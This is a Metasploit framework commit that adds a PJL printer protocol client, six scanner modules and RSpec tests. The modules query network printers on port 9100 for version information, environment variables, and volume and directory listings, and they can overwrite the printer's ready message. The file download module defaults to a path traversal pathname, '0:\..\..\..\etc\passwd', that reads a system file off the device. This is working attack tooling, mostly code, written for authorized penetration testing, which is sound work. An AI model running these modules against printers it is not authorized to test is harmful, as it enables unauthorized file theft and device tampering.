Land #2725 - Rex::Proto::PJL plus modules

bug/bundler_fix
sinn3r 2014-01-16 15:57:38 -06:00
commit a1eba03d1f
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
9 changed files with 705 additions and 0 deletions

30
lib/rex/proto/pjl.rb Normal file
View File

@ -0,0 +1,30 @@
# https://en.wikipedia.org/wiki/Printer_Job_Language
# See external links for PJL spec
module Rex::Proto::PJL
require "rex/proto/pjl/client"
DEFAULT_PORT = 9100
DEFAULT_TIMEOUT = 5
COUNT_MAX = 2147483647
SIZE_MAX = 2147483647
UEL = "\e%-12345X" # Universal Exit Language
PREFIX = "@PJL"
module Info
ID = "#{PREFIX} INFO ID"
STATUS = "#{PREFIX} INFO STATUS"
VARIABLES = "#{PREFIX} INFO VARIABLES"
FILESYS = "#{PREFIX} INFO FILESYS"
end
RDYMSG = "#{PREFIX} RDYMSG"
FSINIT = "#{PREFIX} FSINIT"
FSDIRLIST = "#{PREFIX} FSDIRLIST"
FSUPLOAD = "#{PREFIX} FSUPLOAD"
end

162
lib/rex/proto/pjl/client.rb Normal file
View File

@ -0,0 +1,162 @@
# https://en.wikipedia.org/wiki/Printer_Job_Language
# See external links for PJL spec
module Rex::Proto::PJL
class Client
attr_reader :sock
def initialize(sock)
@sock = sock
end
# Begin a PJL job
#
# @return [void]
def begin_job
@sock.put("#{UEL}#{PREFIX}\n")
end
# End a PJL job
#
# @return [void]
def end_job
@sock.put(UEL)
end
# Send an INFO request and read the response
#
# @param category [String] INFO category
# @return [String] INFO response
def info(category)
categories = {
:id => Info::ID,
:status => Info::STATUS,
:variables => Info::VARIABLES,
:filesys => Info::FILESYS
}
unless categories.has_key?(category)
raise ArgumentError, "Unknown INFO category"
end
@sock.put("#{categories[category]}\n")
@sock.get(DEFAULT_TIMEOUT)
end
# Get version information
#
# @return [String] Version information
def info_id
id = nil
if info(:id) =~ /"(.*?)"/m
id = $1
end
id
end
# Get environment variables
#
# @return [String] Environment variables
def info_variables
env_vars = nil
if info(:variables) =~ /#{Info::VARIABLES}\r?\n(.*?)\f/m
env_vars = $1
end
env_vars
end
# List volumes
#
# @return [String] Volume listing
def info_filesys
filesys = nil
if info(:filesys) =~ /\[\d+ TABLE\]\r?\n(.*?)\f/m
filesys = $1
end
filesys
end
# Get the ready message
#
# @return [String] Ready message
def get_rdymsg
rdymsg = nil
if info(:status) =~ /DISPLAY="(.*?)"/m
rdymsg = $1
end
rdymsg
end
# Set the ready message
#
# @param message [String] Ready message
# @return [void]
def set_rdymsg(message)
@sock.put(%Q{#{RDYMSG} DISPLAY = "#{message}"\n})
end
# Initialize a volume
#
# @param volume [String] Volume
# @return [void]
def fsinit(volume)
if volume !~ /^[0-2]:$/
raise ArgumentError, "Volume must be 0:, 1:, or 2:"
end
@sock.put(%Q{#{FSINIT} VOLUME = "#{volume}"\n})
end
# List a directory
#
# @param pathname [String] Pathname
# @param count [Fixnum] Number of entries to list
# @return [String] Directory listing
def fsdirlist(pathname, count = COUNT_MAX)
if pathname !~ /^[0-2]:/
raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:"
end
listing = nil
@sock.put(%Q{#{FSDIRLIST} NAME = "#{pathname}" ENTRY=1 COUNT=#{count}\n})
if @sock.get(DEFAULT_TIMEOUT) =~ /ENTRY=1\r?\n(.*?)\f/m
listing = $1
end
listing
end
# Download a file
#
# @param pathname [String] Pathname
# @param size [Fixnum] Size of file
# @return [String] File as a string
def fsupload(pathname, size = SIZE_MAX)
if pathname !~ /^[0-2]:/
raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:"
end
file = nil
@sock.put(%Q{#{FSUPLOAD} NAME = "#{pathname}" OFFSET=0 SIZE=#{size}\n})
if @sock.get(DEFAULT_TIMEOUT) =~ /SIZE=\d+\r?\n(.*?)\f/m
file = $1
end
file
end
end
end

View File

@ -0,0 +1,65 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
require "rex/proto/pjl"
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
"Name" => "Printer File Download Scanner",
"Description" => %q{
This module downloads a file from a printer using PJL.
},
"Author" => [
"wvu", # This implementation
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
],
"License" => MSF_LICENSE
))
register_options([
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..\etc\passwd'])
], self.class)
end
def run_host(ip)
pathname = datastore["PATHNAME"]
connect
pjl = Rex::Proto::PJL::Client.new(sock)
pjl.begin_job
pjl.fsinit(pathname[0..1])
file = pjl.fsupload(pathname)
pjl.end_job
disconnect
if file
print_good("#{ip}:#{rport} - #{pathname}")
store_loot(
"printer.file",
"application/octet-stream",
ip,
file,
pathname,
"Printer file"
)
end
end
end

View File

@ -0,0 +1,60 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
require "rex/proto/pjl"
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
"Name" => "Printer Environment Variables Scanner",
"Description" => %q{
This module scans for printer environment variables using PJL.
},
"Author" => [
"wvu", # This implementation
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
],
"License" => MSF_LICENSE
))
register_options([
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
], self.class)
end
def run_host(ip)
connect
pjl = Rex::Proto::PJL::Client.new(sock)
pjl.begin_job
env_vars = pjl.info_variables
pjl.end_job
disconnect
if env_vars
print_good("#{ip}:#{rport}\n#{env_vars}")
report_note({
:host => ip,
:port => rport,
:proto => "tcp",
:type => "printer.env.vars",
:data => env_vars
})
end
end
end

View File

@ -0,0 +1,64 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
require "rex/proto/pjl"
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
"Name" => "Printer Directory Listing Scanner",
"Description" => %q{
This module lists a directory on a printer using PJL.
},
"Author" => [
"wvu", # This implementation
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
],
"License" => MSF_LICENSE
))
register_options([
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..'])
], self.class)
end
def run_host(ip)
pathname = datastore["PATHNAME"]
connect
pjl = Rex::Proto::PJL::Client.new(sock)
pjl.begin_job
pjl.fsinit(pathname[0..1])
listing = pjl.fsdirlist(pathname)
pjl.end_job
disconnect
if listing
print_good("#{ip}:#{rport}\n#{listing}")
report_note({
:host => ip,
:port => rport,
:proto => "tcp",
:type => "printer.dir.listing",
:data => listing
})
end
end
end

View File

@ -0,0 +1,61 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
require "rex/proto/pjl"
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
"Name" => "Printer Volume Listing Scanner",
"Description" => %q{
This module lists the volumes on a printer using PJL.
},
"Author" => [
"wvu", # This implementation
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
],
"License" => MSF_LICENSE
))
register_options([
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
], self.class)
end
def run_host(ip)
connect
pjl = Rex::Proto::PJL::Client.new(sock)
pjl.begin_job
3.times { |volume| pjl.fsinit("#{volume}:") }
listing = pjl.info_filesys
pjl.end_job
disconnect
if listing
print_good("#{ip}:#{rport}\n#{listing}")
report_note({
:host => ip,
:port => rport,
:proto => "tcp",
:type => "printer.vol.listing",
:data => listing
})
end
end
end

View File

@ -0,0 +1,73 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
require "rex/proto/pjl"
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
"Name" => "Printer Ready Message Scanner",
"Description" => %q{
This module scans for and can change printer ready messages using PJL.
},
"Author" => [
"wvu", # This implementation
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
],
"License" => MSF_LICENSE
))
register_options([
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
OptBool.new("CHANGE", [false, "Change ready message", false]),
OptBool.new("RESET", [false, "Reset ready message (CHANGE must be true)", false]),
OptString.new("MESSAGE", [false, "Ready message", "PC LOAD LETTER"])
], self.class)
end
def run_host(ip)
connect
pjl = Rex::Proto::PJL::Client.new(sock)
pjl.begin_job
if datastore["CHANGE"]
if datastore["RESET"]
message = ""
else
message = datastore["MESSAGE"]
end
pjl.set_rdymsg(message)
end
rdymsg = pjl.get_rdymsg
pjl.end_job
disconnect
if rdymsg
print_good("#{ip}:#{rport} - #{rdymsg}")
report_note({
:host => ip,
:port => rport,
:proto => "tcp",
:type => "printer.rdymsg",
:data => rdymsg
})
end
end
end

View File

@ -0,0 +1,60 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
require "rex/proto/pjl"
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
"Name" => "Printer Version Information Scanner",
"Description" => %q{
This module scans for printer version information using PJL.
},
"Author" => [
"wvu", # This implementation
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
],
"License" => MSF_LICENSE
))
register_options([
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT)
], self.class)
end
def run_host(ip)
connect
pjl = Rex::Proto::PJL::Client.new(sock)
pjl.begin_job
id = pjl.info_id
pjl.end_job
disconnect
if id
print_good("#{ip}:#{rport} - #{id}")
report_service({
:host => ip,
:port => rport,
:proto => "tcp",
:name => "jetdirect",
:info => id
})
end
end
end

View File

@ -0,0 +1,130 @@
require 'spec_helper'
require 'fastlib'
require 'msfenv'
require 'msf/base'
require 'rex/proto/pjl'
describe Rex::Proto::PJL::Client do
context "methods" do
let(:default_response) do
'OK'
end
let(:sock) do
s = double("sock")
s.stub(:put).with(an_instance_of(String))
s.stub(:get).and_return(default_response)
s
end
let(:cli) do
Rex::Proto::PJL::Client.new(sock)
end
context ".initialize" do
it "should initialize a 'sock' ivar" do
cli.instance_variable_get(:@sock).class.should eq(RSpec::Mocks::Mock)
end
end
context ".begin_job" do
it "should send a PJL start request without any errors" do
cli.begin_job
end
end
context ".end_job" do
it "should send a PJL end request" do
cli.end_job
end
end
context ".info" do
it "should raise an exception for not having a category" do
expect { cli.info(nil) }.to raise_error(ArgumentError)
end
it "should receive a response for an INFO request" do
cli.info(:id).should eq(default_response)
end
end
context ".info_id" do
it "should return the version information" do
fake_version = '"1337"'
cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_version)
cli.info_id.should eq('1337')
end
end
context ".info_variables" do
it "should return the environment variables" do
fake_env_vars = "#{Rex::Proto::PJL::Info::VARIABLES}\r\nPASSWORD=DISABLED\f"
cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars)
cli.info_variables.should eq('PASSWORD=DISABLED')
end
end
context ".info_filesys" do
it "should return the volumes" do
fake_volumes = "[1 TABLE]\r\nDIR\f"
cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_volumes)
cli.info_filesys.should eq('DIR')
end
end
context ".get_rdymsg" do
it "should return a READY message" do
fake_ready_message = 'DISPLAY="RES"'
cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message)
cli.get_rdymsg.should eq('RES')
end
end
context ".set_rdymsg" do
it "should send a READY message" do
cli.set_rdymsg("")
end
end
context ".fsinit" do
it "should raise an exception due to an invalid volume" do
expect { cli.fsinit("BAD") }.to raise_error(ArgumentError)
end
it "should send a FS INIT message" do
cli.fsinit("1:")
end
end
context ".fsdirlist" do
it "should reaise an exception due to an invaid path name" do
expect { cli.fsdirlist("BAD") }.to raise_error(ArgumentError)
end
it "should return a LIST directory response" do
response = "ENTRY=1\r\nDIR\f"
tmp_sock = double("sock")
tmp_sock.stub(:put).with(an_instance_of(String))
tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response)
tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock)
tmp_cli.fsdirlist("1:").should eq('DIR')
end
end
context ".fsupload" do
it "should raise an exception due to an invalid path name" do
expect { cli.fsupload("BAD") }.to raise_error(ArgumentError)
end
it "should return a file" do
response = "SIZE=1337\r\nFILE\f"
tmp_sock = double("sock")
tmp_sock.stub(:put).with(an_instance_of(String))
tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response)
tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock)
tmp_cli.fsupload("1:").should eq('FILE')
end
end
end
end